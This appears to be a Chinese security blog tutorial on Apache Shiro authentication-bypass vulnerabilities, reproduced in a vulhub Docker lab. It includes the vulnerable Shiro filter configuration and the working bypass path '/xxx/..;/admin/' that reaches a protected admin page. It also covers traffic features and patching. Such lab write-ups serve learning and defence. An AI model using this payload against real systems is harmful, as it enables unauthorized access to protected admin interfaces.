web中间件漏洞之（2）shiro权限绕过漏洞

引言

Apache shiro是一个java安全框架，提供了认证、授权、密码和会话管理等安全功能来保护应用程序。shiro权限绕过漏洞需要同时使用shiro和spring框架，shiro通过拦截器来对用户访问的URL进行过滤，然后再传给Spring，但是过滤并不充分，可能会造成身份鉴别绕过。

CVE-2016-6802：shiro<1.5.0。shiro对/*进行拦截（斜杠+任意串，比如/admin），但是对/admin/没有拦截

CVE-2020-1957：shiro<1.5.2。shiro会根据分号截断，比如/xxx/..;/admin/通过shiro变为/xxx/..，然后进行校验，通过校验，交给SpringBoot进行路由分发；SpringBoot不进行分号截断，/xxx/..;/admin/中/xxx/..又回到当前目录，再访问admin，最后就会解析成/admin/，访问到原来访问不到的admin接口了

vulhub复现

cd ~/Desktop/vulhub-master/shiro/CVE-2020-1957
sudo docker-compose up -d

访问192.168.10.173:8080镜像

根据源码，访问/admin/**时，会重定向到登录界面，登录后才能访问

@Bean                                                                                                     
public ShiroFilterChainDefinition shiroFilterChainDefinition() {                                         
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();          
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");                                               
    chainDefinition.addPathDefinition("/admin/**", "authc");                                              
    return chainDefinition;                                                                               
}            

请求http://192.168.10.173:8080/admin/，会返回302重定向，需要登录

而请求http://192.168.10.173:8080/xxx/..;/admin/，返回200，成功进入后台

流量特征

可以抓到GET请求，URL带有payload

防范方法

升级shiro版本